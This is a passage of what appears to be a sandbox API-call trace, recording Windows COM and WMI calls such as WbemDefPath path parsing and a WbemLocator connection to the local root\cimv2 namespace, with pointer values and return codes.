[7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4d31c0) returned 0x0 [0117.716] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d31c0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0117.716] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d31c0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4b02a0) returned 0x0 [0117.716] WbemDefPath:IUnknown:Release (This=0x1b4d31c0) returned 0x0 [0117.716] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4b02a0) returned 0x0 [0117.716] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0117.716] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0117.716] WbemDefPath:IUnknown:AddRef (This=0x1b4b02a0) returned 0x3 [0117.716] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0117.716] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0117.716] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4d3440) returned 0x0 [0117.717] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d3440, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0117.717] WbemDefPath:IUnknown:Release (This=0x1b4d3440) returned 0x3 [0117.717] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0117.717] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0117.717] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0117.717] WbemDefPath:IUnknown:Release (This=0x1b4b02a0) returned 0x2 [0117.717] WbemDefPath:IUnknown:Release (This=0x1b4b02a0) returned 0x1 [0117.717] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0117.717] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0117.717] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4b02a0) returned 0x0 [0117.717] WbemDefPath:IUnknown:AddRef (This=0x1b4b02a0) returned 0x3 [0117.717] WbemDefPath:IUnknown:Release (This=0x1b4b02a0) returned 0x2 [0117.717] WbemDefPath:IWbemPath:SetText (This=0x1b4b02a0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0117.717] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b02a0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0117.717] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b02a0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0117.717] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b02a0, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0117.717] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b02a0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0117.717] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b02a0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0117.718] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b02a0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0117.718] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b02a0, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0117.718] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0117.718] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0117.718] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0117.718] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0117.718] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0117.718] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0117.718] IUnknown:Release (This=0x6124e8) returned 0x1 [0117.719] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b4d2ea0) returned 0x0 [0117.719] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2ea0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0117.719] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2ea0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x1b4b0660) returned 0x0 [0117.719] WbemDefPath:IUnknown:Release (This=0x1b4d2ea0) returned 0x0 [0117.719] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x1b4b0660) returned 0x0 [0117.719] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0117.719] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0117.719] WbemDefPath:IUnknown:AddRef (This=0x1b4b0660) returned 0x3 [0117.719] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0117.719] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0117.719] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b4d31c0) returned 0x0 [0117.719] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d31c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0117.719] WbemDefPath:IUnknown:Release (This=0x1b4d31c0) returned 0x3 [0117.720] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0117.720] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0117.720] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0117.720] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x2 [0117.720] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x1 [0117.720] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0117.720] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0117.720] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x1b4b0660) returned 0x0 [0117.720] WbemDefPath:IUnknown:AddRef (This=0x1b4b0660) returned 0x3 [0117.720] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x2 [0117.720] WbemDefPath:IWbemPath:SetText (This=0x1b4b0660, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0117.720] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0117.720] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0117.720] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0117.720] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0117.720] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0117.720] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0117.720] IUnknown:Release (This=0x6124e8) returned 0x1 [0117.721] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b4d1900) returned 0x0 [0117.721] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1900, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0117.721] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d1900, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b4d19c0) returned 0x0 [0117.721] WbemLocator:IUnknown:Release (This=0x1b4d1900) returned 0x0 [0117.721] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d19c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b4d19c0) returned 0x0 [0117.721] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d19c0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0117.721] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d19c0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0117.721] WbemLocator:IUnknown:AddRef (This=0x1b4d19c0) returned 0x3 [0117.721] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d19c0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0117.721] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d19c0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0117.721] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d19c0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0117.721] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0117.722] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0117.722] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d19c0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0117.722] WbemLocator:IUnknown:Release (This=0x1b4d19c0) returned 0x2 [0117.722] WbemLocator:IUnknown:Release (This=0x1b4d19c0) returned 0x1 [0117.722] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0117.722] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0117.722] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d19c0, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b4d19c0) returned 0x0 [0117.722] WbemLocator:IUnknown:AddRef (This=0x1b4d19c0) returned 0x3 [0117.722] WbemLocator:IUnknown:Release (This=0x1b4d19c0) returned 0x2 [0117.722] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0117.722] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0117.722] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0117.722] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b4d1c60) returned 0x0 [0117.722] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d1c60, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x63c980) returned 0x0 [0118.085] WbemLocator:IUnknown:QueryInterface (in: This=0x63c980, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b5101b0) returned 0x0 [0118.085] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b5101b0, pProxy=0x63c980, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0118.085] WbemLocator:IUnknown:Release (This=0x1b5101b0) returned 0x1 [0118.085] WbemLocator:IUnknown:QueryInterface (in: This=0x63c980, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b5101f8) returned 0x0 [0118.085] WbemLocator:IUnknown:QueryInterface (in: This=0x63c980, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b5101b0) returned 0x0 [0118.085] WbemLocator:IClientSecurity:SetBlanket (This=0x1b5101b0, pProxy=0x63c980, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0118.085] WbemLocator:IUnknown:Release (This=0x1b5101b0) returned 0x2 [0118.085] WbemLocator:IUnknown:Release (This=0x1b5101f8) returned 0x1 [0118.085] CoTaskMemFree (pv=0x1b4621e0) [0118.085] WbemLocator:IUnknown:Release (This=0x1b4d1c60) returned 0x0 [0118.086] WbemLocator:IUnknown:QueryInterface (in: This=0x63c980, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b5101f8) returned 0x0 [0118.086] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5101f8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0118.087] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5101f8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0118.089] WbemLocator:IUnknown:QueryInterface (in: This=0x63c980, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0118.098] WbemLocator:IUnknown:AddRef (This=0x1b5101f8) returned 0x3 [0118.098] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5101f8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0118.098] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5101f8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0118.098] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5101f8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b5100d8) returned 0x0 [0118.098] 